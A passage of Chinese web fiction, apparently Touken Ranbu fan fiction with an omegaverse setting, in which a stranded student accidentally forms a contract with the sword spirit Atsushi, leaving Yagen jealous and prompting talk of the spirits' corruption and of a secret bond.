从他来到这座本丸开始,晚上出现的时间溯行军就从未在这些付丧神身上造成过任何伤口,他还以为这四把短刀完全不会被时间溯行军伤到呢。有时候他们甚至是一个人就够了。 厚藤四郎不知道是听到了什么关键字,突然嘴角绷直,眉间罕见地皱了起来,严肃地看着鹤见悠纪,“一点都不棘手,是我大意了,如果我不大意的话,他碰都别想碰到我一下。” 敌人没有变强,他也没有变弱,他只是大意了而已!!! 区区一点小伤,为什么要…… 鹤见悠纪:“但现在你就是受伤了,好了,管他那么多,你先好好休息休息,你的房间在哪里?要不回去躺躺吧。” 现在这满身伤的样子,也不像是能种花的样子,这些花他看了这些日子也能简单打理打理,倒也不至于厚藤四郎一不在就全部死掉了。 这么想着,鹤见悠纪也这么说出来了。 “不用。” 厚藤四郎抿唇,他的视线很快重新落到少年手中的花环上,“你喜欢的,我会制造更多出来的。” 送出去的东西,是他亲手做的才有诚意。 是他送出去的礼物,怎么还能让被送礼物的人花心思? 他直到现在也没有送出最完美的礼物。 种花和编花环是最简单的事情,但也是一件不符合刀剑付丧神印象的事情。 毕竟哪里有刀剑不去斩杀敌人,反而让花草变得愈加茂盛。 鹤见悠纪不能理解他的执着,如果真的那么喜欢种花的话,等身上的伤口好了再说不行吗? 他将花环放到头顶,牵着付丧神的手看向药研,“药研你知道他住哪里吗?至少别让他干在这里忙来忙去。” 药研藤四郎处理的伤口,他知道厚藤四郎身上的伤势有多严重。 于是他点了点头,将药箱斜挎在身上,便抓住兄弟的另一只手,准备和鹤见悠纪合力将人扶回去。 正要用力,耳边突然传来鹤见悠纪惊恐的呼声, 鹤见悠纪抓着自己的右手腕,被奇异的与什么连通的感觉吓得僵在原地,浑身信息素都紊乱起来,求助的眼神对上药研藤四郎怔愣的脸, “我、药研……” 他说不清话,也不知道发生了什么,只能顺着药研藤四郎的力道后退松手。 与此同时,厚藤四郎身上的伤口肉眼可见地开始恢复—— 作者有话说:算幸运还是不幸运呢,小厚《 》 30-40 第31章 药研藤四郎呼吸都要停滞了。 他对上鹤见悠纪疑惑的目光,张开嘴,却发现自己怎么也发不出声音。 突然迅速愈合的伤势,以及将两个人若有若无连接在一起的灵力。 这种状况—— 他绝对不会认错。 鹤见悠纪不会使用灵力,但是现在呈现在他眼前的事实…… 他预订的大将,在他的眼前成为了他·兄·弟·的·大·将。 鹤见悠纪看着厚藤四郎身上愈合的伤势,惊慌后就变得兴奋起来,“这是怎么回事?伤口都好了,好厉害!” “……” 药研藤四郎握住他的手,一点一点从厚藤四郎的身上拿下来,他的声音沉沉的,陈述道,“是你让他的伤口恢复的。” “诶?”鹤见悠纪这么久了,还是第一次直面这种不科学的事情,“我让他恢复的?可是我什么都没有做。” “就是刚刚那样。”虽然心中翻滚着奇怪的情绪,但是药研藤四郎还是没舍得骗他,“你的灵力帮助他恢复伤口了。” 但更多的,什么已经有了契约之类的……药研藤四郎看着鹤见悠纪那双开心的眼睛说不出口。 他安抚自己,等这会儿过去了,平静下来了,说不定就说的出来了。 眼前的omega身上带着自己的气息,从内至外,而在现在,他感受到了另一股属于厚藤四郎的清冷的水汽的alpha信息素。 他的悠纪不再只属于他,但他从来都不只属于他。 他知道的。 药研藤四郎是忠心的护主刀,就算现在还没有成为真正的主人,但他的内心已经开始保护。 “这样啊……”鹤见悠纪神奇地看着自己的手心,翻来覆去也没看出几分特别来。 一眨眼没注意,自己就变成能够治愈别人的非常厉害的存在了,但是力量他真的没有感觉到。 他眨了眨眼睛,没有想出个一二三来便也就放弃了,反正之后回归正常生活,这些东西就和他没关系了。 看着厚藤四郎恢复伤口后,便冷冷的看着自己,眼中的情绪仿佛还是如以前一样淡漠,却又不经意间泛起几分波澜。 鹤见悠纪感觉气氛有点不对劲,他将头顶的花环取下,放到了付丧神的头顶,“你现在有什么感觉吗?伤口还疼吗?” 可别只是表面恢复了…… 厚藤四郎依旧直直地看着他,听见问题也只是呆呆的摇头:“不疼。” 顿了顿,他又补充:“大将。” 鹤见悠纪对他的这个称呼已经脱敏了,敷衍地点了点头,直起身来:“那这样就好,伤口恢复了如果晚上还要战斗的话,想必也不会太过于难受。” 和那些奇形怪状的敌人战斗的话,要是一动全身都痛的话,那怎么打的起来? 厚藤四郎点了点头:“晚上的战斗我也会胜利的。” “好哦好哦。” 药研藤四郎收拾药箱的动作顿了顿,又埋头继续收拾,两个人的互动在他眼里变得越来越刺眼,虽然鹤见悠纪因为自己没有直白的说出来而看不懂,但是他却明白,厚藤四郎口中的那一声“大将”已经变了意思。 这是真真切切可以被称之为大将的关系了。 然而,他却不能叫出那个称呼。 鹤见悠纪看他一言不发离开,心中突然升起一阵恐慌,确定后厚藤四郎没事之后便迅速追着药研藤四郎的背影跑了出去,“药研,接下来要做什么事情吗?” “不做什么。”药研藤四郎握紧了手中的药箱,他低着头,不和前面对视,“你继续去和厚弄花吧,晚些饭点了记得回来就好。” 这话怎么听起来有种奇怪的感觉? 鹤见悠纪没想明白,“厚受伤了刚好我就打扰他了,没什么事的话我们一起回去吧。” 反正去哪都是无聊,回去和药研藤四郎坐在小桌子边看书也不是不行。 信浓藤四郎按照约定带来了一些有趣的书本和画集,比起无聊还让人头大的医术,这些确实让他更加有兴趣了些。 药研藤四郎清晰感受到身边omega的信息素,就像鹤见悠纪本人一样,熟悉了就毫无距离感地贴了过来。 真过分。 他面无表情,点头:“好。” 这可不是他提的。 熟悉的房间,熟悉的窗边,熟悉的小桌,熟悉的垫子,还有不甚熟悉的小说。 鹤见悠纪一冲进房间就落到了自己的位置上,他挑了一本没有看过的书,拿起来津津有味的品味。 信浓藤四郎看起来对这些书也颇有钻研,拿来的书都很对他的胃口,或许把这些书拿去给自己的同学们,百分之八十也会看入迷的。 每次他看到一半想要休息的时候,就又被下一个钩子勾引得看完下一段,反反复复,无穷无尽,虽然中途因为吃饭被打断,但一本书还是很快就翻到了最后一页,看着书皮的空白页,鹤见悠纪有些伤心地搓了搓脑袋。 在这个破碎的本丸中他哪里去找下部,可恶的书怎么可以断在这里! 他被勾引得抓心挠肺,却一点办法都没有。 “怎么了这是?” 药研藤四郎很快发现他从一会儿笑一会儿严肃一会儿哭的状态中脱离出来,整个人也显得萎靡。 “这本书它没写完。”鹤见悠纪委屈地撇了撇嘴,举起手中的书就开始控诉。 药研藤四郎接过随手翻看:“这本书啊……以前好像还挺受欢迎的,我有点印象,等离开这里之后我们买一本吧。” “真的?!” 鹤见悠纪被他果断的声音勾得情绪瞬间激动起来了。 他思考着,既然如此,那等离开这里之后先去买本书再和这里的一切断开关系也不是不行。 快乐地思索着,他又拿起一边堆叠的画集中的一本,鲜艳大胆的色彩很快抓住眼球。 虽然看不懂画的表达意思是什么,但是既然都出现在画集上了肯定是名人的作品,那他只需要在心中一边看,一边夸奖就好了。 哎呦,这个形象真诡异,唉不是,真大胆,还有这个颜色真奇怪,唉不是,真创新,哎呀,这个意象真是让人摸不着头脑,唉不是,真高深…… 在心里努力理解这些画家的名作,鹤见悠纪也弄出几分趣味来。 画集这种东西不需要理解,他翻得很快,一会儿就翻完了,他看着清晰可数的数量,忍痛放弃。 为了防止剩下来的时间都很无聊,他刻意控制自己,每天不看超过三本。 看完书撑了个懒腰,鹤见悠纪爬到窗台边向外看去。 这里的视野比他之前的房间视野更加宽阔,而且外面也不是荒乱的庭院了,远处夕阳颜色鲜红又可怕。 很掉san。 看着看着,鹤见悠纪突然好奇,“药研,在那边远方的地方有山吗?” “不知道。”药研藤四郎摇头,走到他身边来,顺着向那边看去。 夕阳被山尖形状的阴影遮了一半,看起来确实很像是有山的样子。 他解释道:“本丸整体的模样是由审神者决定的,但是现在这座本丸并没有审神者,除了必要的建筑以外,更远处的地方都是虚无,现在看到的只是本丸自主创造的幻视而已。” “好智能的机制。” 鹤见悠纪看着那边的样子,怎么也想象不出来那竟然是幻象。 “远处看起来空茫茫的一片的话……”药研藤四郎想象了一下,他拍了拍少年的脑袋笑到,“也太可怕了吧。” “是哦,感觉像在迷宫里或者在闯什么诡异副本一样。”鹤见悠纪边想边打了个哆嗦。 夕阳西下,天边的光亮愈加昏暗,他便拉了窗户和药研藤四郎重新坐到桌面。 他的视线止不住的落到桌上高高一堆的书上,显然他又想拿一本出来解闷了。 “若是想看就看吧,看完了再找就是了。”药研藤四郎无奈。 “不行,万一找不到新的了怎么办,这资源可是有限的很。” 鹤见悠纪义正言辞,他一边馋得很,又一边表现得很有自制力的样子。 药研藤四郎好笑的看着他这副样子,便主动带着人离开了书桌,“那早些睡觉吧,睡着了就不会再继续想了。” 两人洗漱完毕,便规规矩矩躺上了床。 鹤见悠纪这几日总和药研藤四郎睡在一张床上,甚至两人睡着睡着可能都会四肢交缠在一起。 画重点,不是他主动的。但他已经习惯了对方的气息。 于是今天也没有例外,鹤见悠纪率先挤到里侧的位置,然后拍了拍身边,“快来快来,被窝里好冷啊。” 凉凉的,没有被体温暖过的床榻冷得让人一个激灵。 很快,温热的身躯贴了上来,熟悉的alpha的信息素也瞬间涌来,鹤见悠纪很快放松下来。 两人离得极近,困倦的欲望也逐渐交缠上大脑。 正要入睡时,鹤见悠纪忽然恍惚间听见刀剑相交的声音。 他迷糊着揉了揉眼睛:“他们……打到这边来了吗?” “嗯,”药研藤四郎神手捂上他的耳朵,轻轻哄着,“没事,你继续睡吧,没事的。” 鹤见悠纪却逐渐清醒,他看着离得近近的药研藤四郎,耳边刀剑打斗声若隐若现。 少年静了片刻,大脑放空。 许久,他突然出声,“对了,今天为什么我突然能恢复厚的伤势了啊。” 这话问的突然也毫无逻辑的蹦了出来,药研藤四郎浑身一僵,两人离得极近,鹤见悠纪也感受到了他的反应,他瞬间狐疑地眯起眼睛, “你有什么事情瞒着我,肯定。” 他十分确信。 药研藤四郎沉默一瞬,“因为你和他签订契约了。” 鹤见悠纪:“?” 他完全清醒了。 鹤见悠纪不可思议:“怎么会?我什么都没做呀。” “我也不知道,”药研藤四郎其实不是很想说这个话题,四周很寂静,他的声音格外清晰,“但是就是……你就是和他签订了契约。” “明明是先和我说好了的,” 付丧神的面容藏在阴影中,鹤见悠纪看不清他的表情,只听见沉沉的声音。 “悠纪,我才应该是第一个。”—— 作者有话说: 第32章 药研藤四郎一双紫眸在黑暗中亮得惊人,他握着鹤见悠纪的手腕,却不忍心用力。 明明一口牙都快咬碎了,明明嫉妒得发疯,却依旧不敢做出过分的事情。 因为药研藤四郎不会这样的。 他现在会这样只是因为暗堕和诅咒,但是身负暗堕和诅咒的药研藤四郎不是一个完美的药研藤四郎。 鹤见悠纪愣愣地看着他,付丧神捂着自己耳朵的手松开了,身体笼罩在上方,将他圈在小小的一席之地。 明明是很强势的动作,表情又委屈极了,一双紫眸更是充满无助,好像受了天大的不公。 鹤见悠纪张了张嘴,又不知道自己该说些什么。 alpha的信息素缠缠绵绵,异常汹涌地在自己身边勾绕着,就像什么小动物在用脑袋顶他一样。 他有些不太适应地移开视线,不敢和药研藤四郎对视。 鹤见悠纪莫名的在心中升起了一股心虚的感觉,就好像背着家里的在外面偷吃还被发现了一样。 药研藤四郎话一说完就后悔了,现在看着少年移开视线的动作更是手足无措。 明明只用回答鹤见悠纪提出的问题就好了,却不受控制地多说了两句……可他没有怪他。 那不是鹤见悠纪的错,也不是厚藤四郎的错,意外之下发生的事情,谁能预想到? 鹤见悠纪轻轻咳了两声,打破寂静。 “抱歉,我也不知道,” 他出声安抚。 虽然不知道为什么会难过,但是原因总归是自己没有和对方签订契约,他试着宽慰, “这个契约能解除吗?我擅自和厚签订契约的话他也会不开心的话,我们明天去找他解除契约好不好?” 鹤见悠纪这样说,一边抬手去碰药研藤四郎落在自己耳侧的手,这个动作有些别扭,他便只是勾住付丧神的手指,目光认真的看向药研藤四郎的脸。 药研藤四郎的表情怔愣,鹤见悠纪的话效果很好,肉眼可见变得放松下来。 解决。 鹤见悠纪有点得意,看来自己已经很了解药研藤四郎了。 其实他不太懂付丧神的逻辑,为什么一定要争这个第一呢? 这么想着他也这么说了,然而下一秒药研藤四郎刚放松下来的表情变得更加难受,这一次还率先移开视线不看他了。 失败! “……诶?” 鹤见悠纪的手也被挣来,他眼睁睁看着付丧神在他身边规矩地躺下,用后背对着他。 “……药研?” 静了片刻,鹤见悠纪试探着伸出手指戳了戳药研藤四郎的后背。 这么久了,再加上之前的abo世界观科普,身边alpha信息素的紊乱状态明显,他也不再是像之前的小白一样什么都看不懂。 药研藤四郎在不开心。 自己难道又猜错了什么?药研藤四郎不是会随便释放情绪的人,看来他确实太过分了,鹤见悠纪开始反省。 ——我才应该是第一个。 第一个……第一个,他强调的是第一个,这句话是很好理解的,可他是为什么要强调第一个? 签订契约只是因为他想回家而和药研藤四郎做出的约定,也是药研藤四郎好心帮助自己才愿意牺牲自己和这座本丸才对,原本应该是这样。 鹤见悠纪边无聊的思考着,也没停下手中的动作,手指仍旧在有一搭没一搭戳着药研藤四郎的脊背。 反正这家伙不理他的话,他是不会停下来的。 药研藤四郎对着黑黑的空气,眼前在他的视野中并非是全然漆黑,但仍旧在一定程度上模糊了他的视线。 视觉被削弱,周围也是一片寂静听不到任何声响,在外与时间溯行军战斗的兄弟们似乎已经远离了这里,于是,在空虚中触觉被无限放大,身后少年的动作变得越来越明显。 形状,温度,频率……他感知得一清二楚,甚至鹤见悠纪走神的状态他也很快就发现了。 可恶。 哄人都不专业。 坏人。 于是他面无表情的转过身来了。 鹤见悠纪的手没来得及收回去,一下戳在他的胸膛。 背部硬硬的触感和胸膛带着热度的柔软是不一样的,鹤见悠纪迟疑着回过神来。 他对上药研藤四郎面无表情的脸,瞬间像触电一样猛地收回了手指,嘴巴里结结巴巴道着歉,“抱、抱歉,我没反应过来……” 药研藤四郎不说话,就那样看着他。 鹤见悠纪小心翼翼观察片刻,发现他没有生气便也摆出和药研藤四郎一样的表情,面无表情地和付丧神对视。 两个人躺在一张床上,动作一样表情一样地看着对方,中间的距离像楚河汉界不可逾越,空气中的信息素又亲昵地交融在一起。 好生奇怪的场景。 比耐力,终究还是鹤见悠纪率先坚持不住,他眨了眨干涩的眼睛, “你是不是,其实想做付丧神?”话一说完,他就感觉到有几分歧义,补充解释,“就是说我入职做审神者,你做我的付丧神的那种付丧神。” 虽然这样的想法好像有点自视甚高,毕竟自由自在待在这座本丸中,虽然说环境破了点,但是看药研藤四郎平日里吃穿不愁的状态也不算过的艰辛,自己竟然幻想别人主动放弃自由什么的…… “是。” “……?” 鹤见悠纪宕机,脑海中的自嘲随着药研藤四郎的肯定被全然截断。 他注视着药研藤四郎的眼睛,那双和自己颜色几近相似的眼眸中没有丝毫晃动。 药研藤四郎没有说谎,他没有骗他。 “为什么?”鹤见悠纪干巴巴地询问。 “我觉得你很好。” 明明刚刚还在心里说鹤见悠纪是坏人。 好人卡砸在了鹤见悠纪的头上。 他苦恼,“你怎么就确定我是个很好的人呢?我们其实没有相识多久。” 就算是他没怎么刻意数日子,但是至今为止待在这座本丸里待的时间也绝对不超过一个月。 不到一个月的时间,怎么能看清一个人的底色? 想要伪装成一个好人,有些人甚至能伪装一辈子。 付丧神难道是这么好骗的生物吗? 药研藤四郎没有说话,他突然撑起上半身,向鹤见悠纪靠近,他注视着少年,突然发现鹤见悠纪耳边的发丝或许是因为长期没有修剪,都有些过长了。 黑发紫眸,其实是一种偏清冷的配色,但是在少年的身上他从未看到过这样的色彩。 那双漂亮的和自己相似又不同的纯粹的眼睛中,在此时此刻,在自己坦露心扉主动将弱势的地位奉在对方的面前时,也没有出现侵略的色彩。 这是个在和平社会长大的孩子。 是一个没有被鲜血和权力侵染的胚胎。 却因为莫名的原因来到这座破碎的本丸,直面不属于他的世界的可怕。 药研藤四郎说不清自己是什么时候产生了这样的想法,但是此时此刻缓慢跳动的心脏都在告诉他, ——他一直都想,等光明正大名正言顺的眼前的少年“大将”。 而且是第一个。 但现在这个第一已经破碎了。 药研藤四郎低下脑袋,用额头抵着额头,声音沉闷,“我就是这么认为的,我的经验可丰富了,我看人也很准。” 来到这样荒废的地方,面对自己突然发生的易感期还愿意伸出援手,甚至在面对第一次面对的神奇的事情时还努力冷静。 少年只有一个愿望,回家。 鹤见悠纪眨眨眼,可不是嘛,能把人体上下从细胞到整体全都了解的一清二楚的人怎么可能看人不准。 在心中给自己开了个冷笑话,但果然还是笑不出来。 他原本的打算是回到家之后就和药研藤四郎结束契约,然后远离什么本丸什么时间溯行军什么时之政府什么付丧神的事情。 他只是一个普通的学生,他和这些唯一的关系应该只有那个游戏而已,至于什么游戏变成现实的事情,网上乐呵乐呵就得了,还是不要发生在他身边的好。 保护历史保护世界什么的,他又不是初中生和小学生,这种事情怎么能压在他的肩上? 实在是太可怕。 他推开药研藤四郎,“我承认我是个好人,也承认你经验很丰富,但是,对于做审神者这件事情我大可能是不会的。” “保护历史的责任我都无法承担。我只是一个普通的学生而已,我现在甚至都还没有毕业,我还要上很多年的学……” 他抓了抓脑袋,也不知道自己在说什么,“总而言之,等我回家之后,我可能就会隔断和这里的一切,药研,我不会成为审神者,你也不会成为我的付丧神。如果需要的话,你应该去找能理解你的审神者,然后你们一起战斗。你爱他,他爱你,这才是正确的走向。” “我是暗堕付丧神,悠纪,”药研藤四郎顺势已经躺在了床上,他捂住眼睛,“暗堕付丧神是没有正常的审神者会需要的,” 鹤见悠纪顿住了,他不太清楚这些,“那……” 药研藤四郎语气平静,遮掩下的眼睛更是没有丝毫波动,“所以我这个无家可归遭人嫌弃的野狗在接受了没有主人的结局之后,又贪婪地选择了你。” “我是个很坏的刀。” “作为一个好人的你,不想成为我的审神者,甚至因此不想触碰这里的一切,都是理所应当的。” 鹤见悠纪看了他很久,这番自厌自弃的话属实是震惊到他了。 他从未想过,药研藤四郎的心里竟然都想着这样的事情。 在这种时候,作为一个好人好像应该立刻抓住对方的手说“那就让我来做你的家吧”,并附上一个阳光的笑容。 但是他张了张嘴,却怎么也说不出来,手也像冻僵了一样,停在身边无法动弹。 ……所以他果然不是一个好人吧。 今天的夜晚格外难熬,鹤见悠纪思考了很多,他扯了扯被子把自己包裹起来,视线轻轻移了过去。 他犹豫片刻,还是将药研藤四郎盖在眼睛上的手取了下来放在被窝里暖了暖。 被被子遮盖后声音瓮声瓮气不甚清晰,他顿顿地说, “你不是野狗。” 鹤见悠纪闭上眼睛, “我们睡觉吧,药研。”—— 作者有话说: 第33章 一番敞开天地说亮话的夜晚之后,鹤见悠纪本以为他和药研藤四郎之间的关系会变成冷战,结果对方一大早就像没事人一样,又把早饭端到了他面前。 “看我做什么?吃饭吧。”药研藤四郎避开他热烈的视线,将眼睛移向别处,然而耳尖却默默的红了。 “哦。” 鹤见悠纪听话地收回视线,开始用尽全力的刨饭吃。 药研藤四郎在他视线移开之后,又默默地转回脑袋,昨天晚上他们以为对方都睡着了,没想到这家伙动来动去,结果又把他手揣到怀里暖起来。 还、还说那种话! ……行,就当他栽这家伙手里了。 反正药研藤四郎本就没想过鹤见悠纪会真的成为他的大将,只是一瞬间便就足够了。 毕竟就像自己所说的,他是暗堕付丧神,哪一个正经的审神者会想要他这种身世不清白的刀? 所以没有得到所谓的誓言,他也并没感到失落。 反倒是昨夜,因为对鹤见悠纪的在意他的情绪有一瞬间失控,让药研藤四郎感到意外。 alpha会影响omega他知道的,原来omega还会影响alpha吗? 回过神来,他发现信息素从始至终都萦绕在两人的身边,缠缠绵绵,不可分割,到最后他自己的信息素更是像要把omega融化一样。 所以从始至终这个坏人都是他自己,鹤见悠纪这个比自己小了好几百岁的人一直都在包容他。 等吃完早饭,他带着碗筷一溜烟跑了出去,鹤见悠纪瞧着他快得几乎要留下残影的步伐,无奈的挠了挠头。 “……整得跟在躲我似的。” 他坐在原地放空片刻,从旁边手痒痒的摸出一本新的书,开始汲取新的乐趣。 新的一天,可以开始看新的小说了。 待会儿等药研藤四郎回来后,就要去找厚藤四郎解除契约了。 不知道今天看起来别扭至极的药研藤四郎要什么时候才回来。 他试图预测,但对方的动作比他预料的要快一些。 药研藤四郎很快回来,有些湿润的手牵上鹤见悠纪,带着他向厚藤四郎的房间走去。 鹤见悠纪这还是第一次来到这里,药研藤四郎敲了敲门,推开。 里面的装横很简单,空间也比药研藤四郎那里要小一些,周边的东西摆放得整整齐齐,到处也都打扫的干干净净,想必平时也是用了心整理的。 厚藤四郎看见他们,回过头放下自己手中的种子,这是他昨夜的战利品,抬头看向两人,“怎么来这里了?” 药研藤四郎白天不会找他,鹤见悠纪也一般是在庭院那边和自己碰面。 这般主动的找上门来,肯定有什么事。 药研藤四郎和鹤见悠纪对视一眼,他主动说明了来意。 鹤见悠纪知道契约是意外,他本以为厚藤四郎会很愉快地点头,答应却没想到付丧神眼都没眨直接拒绝, “不要。” 比起鹤见悠纪的意外,药研藤四郎倒是早有所料。 毕竟自己都能看出来鹤见悠纪和厚藤四郎建立了契约,作为契约对象的本人的厚藤四郎怎么会察觉不到呢? 然而对方事情发生到现在却没有任何反应。 鹤见悠纪看着面无表情的两个人头都大了,他耐心解释:“我之后是不会做审神者的,你和我定下契约没有任何意义。” “但我现在的战斗也并非是为了保护历史而战斗。”厚藤四郎有他自己的一番逻辑,“那我的大将是不是保护历史的审神者又有什么关系?” 他是不稳定的暗堕付丧神,本就已经不适合再派上战场出阵和时间溯行军战斗,甚至身上还有诅咒,这存在本就加剧了他的不适应性。 鹤见悠纪顺着他的逻辑一想,差点就被说服了,他张了张嘴, “不对啊……” 但是他又说不出个所以然来。 药研藤四郎手拍上他的脑袋,明显的重量给鹤见悠纪带来几分安稳感,于是他退后两步,将战场交给药研藤四郎。 药研藤四郎看着厚藤四郎,他知道兄弟心中的意思。 厚藤四郎因为暗堕而失去了情感之后会固执地按照自己的逻辑行事,对他人的意思情感还有行为都不甚在意,甚至无法理解。 “厚,别让自己的不体面暴露给在意的人。” 厚藤四郎一僵,他看着药研藤四郎,握紧了拳头,“我不会让他看见的。” “他会感觉到的。” 作为审神者,契约另一端的任何付丧神的状态逃不过他的感知。 现在鹤见悠纪没有任何感觉不过是因为他不会使用,然而等和本丸建立契约才回到时政,时政不会对觉醒的灵力者无动于衷,就算最后不会召集鹤见悠纪成为审神者,也会教会他如何控制自己的灵力。 到那时,厚藤四郎不愿意解除契约,鹤见悠纪也由着他,时政也同意的话……作为暗堕付丧神被彻底吞没、迎接自己死亡的时候,鹤见悠纪会感知得一清二楚。 厚藤四郎所有的挣扎,所有的痛苦,以及在彻底暗堕之前那一瞬恢复正常的情形,都会被审神者全然知晓,这并非是肉眼看不见就可以隐藏的。 鹤见悠纪看着两个人打哑迷三句话结束,紧接着厚藤四郎突然就像泄了气般,手重新抹上放在一边的花种,低着头从他们身边走了进去,只最后留下轻飘飘的一句话, “下午吧。” 再让他感受一会儿这样的感觉。 药研藤四郎揉了揉鹤见悠纪的脑袋,将少年的视线从门口移了过来:“他下午就会来解除契约了,今天有什么想做的事情吗?我陪你。” “回去看书吧,那本书我刚开始看。” 鹤见悠纪不知所以然,很快就被药研藤四郎转移了注意力。 靠得进了,alpha身上的信息素也清晰可闻。 白天的药研藤四郎是甜的。 “好。” 说话间,两人走出房门,药研藤四郎顺手将厚藤四郎屋子的门关上,他最后瞅了一眼屋内,有一颗种子落在角落,孤零零的,却带着绿意。 鹤见悠纪察觉他的停顿,也顺着看了过去,不由得吐槽:“……这是没装上,还是口袋有洞?” “不知道。” 药研藤四郎摇头,“如果有数过的话,一会应该会自己回来拿的。” 鹤见悠纪思考一秒,眼珠子一转:“我给他拿过去吧,虽然不知道他在不在意一颗种子。” 就是一颗种子而已,不论剩在袋子里还是种在花丛中都毫不起眼,只不过,因着突然莫名其妙出现的强迫症作祟,鹤见悠纪挣脱了药研藤四郎的手捡起那颗种子,向庭院那边冲了过去。 “你先回去吧,我把种子送过去就回——” 少年欢脱的身影很快消失在视野里,药研藤四郎阻止不及,他叹了口气,重新把门好好的关上。 真是的,干嘛偏要瞅那一眼。 鹤见悠纪冲了过去,脚下木板发出轻微的吱呀吱呀声,很快就看见了弯下腰准备开始的厚藤四郎,“厚!你的种子弄丢了!” 厚藤四郎在他过来的时候就察觉到了他的声音,装模作样的一直埋着头,直到听见声音才立刻转头,“是我的,谢谢。” 手指相触,温热一闪而过,厚藤四郎手指微缩,他抬起头,看着送完种子转身就要走的鹤见悠纪:“解除契约之后,你还会来看我吗?” “会啊,”鹤见悠纪停步,他点头,“和你见面与否和是否契约又没有关系。” “那能不能,晚点再解除契约呢?”厚藤四郎语气平静,“你想要回家也会需要我的,既然已经有我了,就不用再接触契约又和药研建立契约了。” “话是这么说,但是……” 鹤见悠纪倒是没想到这么一茬。 毕竟最开始提出办法的是药研藤四郎,愿意为这件事献身的也是药研藤四郎,就连自己找的作为替补的付丧神也是信浓藤四郎。 ……说到信浓藤四郎,他好像好久都没和这家伙见面了。 总之,这件事情一直都没有留下厚藤四郎或者后藤藤四郎的位置。 “何必舍近求远,这件事情是意外,那就是天意。”厚藤四郎面无表情,但声音偏偏很有信服力,“说不定和我解除契约,这座本丸就不认你了。” “?” “……为什么?” 鹤见悠纪没有被他的玄学说绕进去, “不要把我当傻子一样忽悠,你说来说去目的就是想要保留契约,但是保留契约对我有什么好处吗?” “就像你说的,解除契约再签订契约很麻烦,那除此之外呢?” 麻烦的事情他做的多了去了,不论是写一堆作业还是把全屋上下打扫一遍,这些事情都比契约反复很跳来的麻烦吧。 厚藤四郎说不出话了。 “笨蛋,真可恶,遇到不好回答的话就不出声了。” 鹤见悠纪无奈。 他思索片刻,问,“你和药研之前聊的不体面的事情是什么?” 厚藤四郎抿唇,没有隐瞒:“我们只有百年就要彻底暗堕了。” 彻底暗堕的付丧神没有意识,没有理智,也没有情感,那和死了没什么区别。 他知道现在自己不正常,这正是因为暗堕带来的改变。 但是厚藤四郎不知如何反抗。 鹤见悠纪听了他这话,缓缓扣出一个问号。 他迟疑,“你们难道没有想过,我其实最多只能活100年左右吗?” 既然如此,体不体面的他怎么看得到? 鹤见悠纪突然想起昨夜的药研藤四郎,眼眸暗了一瞬,那家伙,会在有时候变得很不可控。 他瞧着眼前面无表情一看就不会动摇的付丧神,忽然勾起嘴角。 一个想法生起。 少年声音软乎,又带着诱惑。 “其实如果你实在想的话,我们可以偷偷背着药研弄契约嘛。” “只要厚有办法不被他发现。” 鹤见悠纪朝付丧神眨了眨眼睛,露出几分狡黠。 第34章 鹤见悠纪的话就像毒药,让人本能拒绝,可吃了又再也不会痛苦。 厚藤四郎定定地看着他,少年的意图显而易见,但是却又是顺着他的渴望编造的陷阱。 答应他,就可以留在对方的身边,运气好的话,一直到人类寿命的尽头,成为主君的陪葬品也并无可能。 拒绝他,等到少年离开这座本丸,他就会果断斩断和时□□丧神的一切关系,若是结果更差点,他怜惜药研藤四郎,将其带在身边日夜陪伴,自己会失去一个兄弟,然后后悔又孤独地在这座本丸中死亡。 多么诱人又指向明确的选择。 没有比这更好选择的答案了。 厚藤四郎感觉自己不对劲,他好像比以前更不理智了。 失去了情感之后他像个机器人,脸部肌肉也跟坏死了一样,做不出生动有趣的表情。 而非现在…… 鹤见悠纪说完话后便停在原地,没说话也没有其他动作。 静静的,只是等待厚藤四郎的反应。 他其实不是很在意厚藤四郎是否答应自己的这份勾引,但是现在自己是在让对方答应这件事情,他自然要表现出诚恳才是。 厚藤四郎低头,少年的眼睛好像会说话,一直在引诱他做出抉择。 其实这是一件很简单的事情,在对方有倾向祈求自己留下的时候,他的心中就已经有了答案。 在最后明确的意向表达出来的瞬间,他的心中更是被猛猛敲击了一下。 不只是他在渴望,在契约的另一端的那个人也不想要变成前任的关系。 他没有自作多情。 厚藤四郎眼前本就艳丽的花朵色彩变得愈加明显,他放下手中的东西,精挑细选起花来。 鹤见悠纪不知道他想要干什么,只好静静站在原地看着他的动作,付丧神找了一会儿,或许是怎么也不满意眉间都不由得皱了起来,身上散发着一股倔强的气息。 隐约之间,鹤见悠纪似乎感受到了什么轻微的情绪。 他眨了眨眼睛,此刻陷入花丛中的付丧神是不是有哪里不太一样了? ……总觉得比以前生动了许多。 鹤见悠纪正恍惚,这边厚藤四郎认真寻找的动作突然顿了顿,他俯下身,手中的花被松开,直直飘落到地上,但付丧神的眼神却分毫没再停在那些精心栽种出来的花朵上。 他小心翼翼的扒开眼前的枝叶,一株鲜翠欲滴半遮半掩的四叶草便清晰呈现在他的面前。 上一次鹤见悠纪带着四叶草戴到自己耳边的模样,仿佛还历历在目。 幸运…… 他果断摘下那朵幸运草,对上鹤见悠纪疑惑的目光,抬手将那朵四叶草戴在了对方的耳边。 这就是他此刻的幸运。 “这是……?” 鹤见悠纪还没说完,只感觉细细的凉凉的东西落在了耳朵上。 他抬手想摘下来看看是什么,厚藤四郎突然将腰间的本体取下平举在他的面前。 “?” 做甚?! 鹤见悠纪停下手中的动作,试图用眼神询问厚藤四郎这是要做什么。 “本体。” 厚藤四郎向前推了推,“你喜欢它吗?” 厚藤四郎的刀刃比起兄弟们要更厚,也更显得稳重又充满力量感。 鹤见悠纪平时接触刀剑接触的并不多,但并不妨碍他知道厚藤四郎是一把好刀。 毕竟能够在历史中留下名字,且在现在仍然有对应的衍生创作的刀剑,不是有独特的逸话便是本身就存在着特殊的意义。 鹤见悠纪微不可察地抽了抽嘴角。 但是这话这不对劲。 若是对冷兵器的纯粹的欣赏也就罢了,但是由刀剑本体化作的付丧神向人询问对方喜不喜欢自己的本体…… 他总有一种孔雀开屏在自己眼前求摸摸的感觉,而且开屏的本人还没发现自己在做怎样的事情。 鹤见悠纪没等多久,他直话直说:“喜欢。” “那你摸摸它好不好?” 这话也不对劲! 鹤见悠纪心中抓狂,面上正经如常。 “好。” 他硬着头皮接过短刀,在厚藤四郎热切的注视下他抽出了刀刃。 冷冽的刀身在阳光照射下仍旧显得冰冷无情,就连温热的光也无法驱散,仿佛天生就存在股嗜杀锐气。 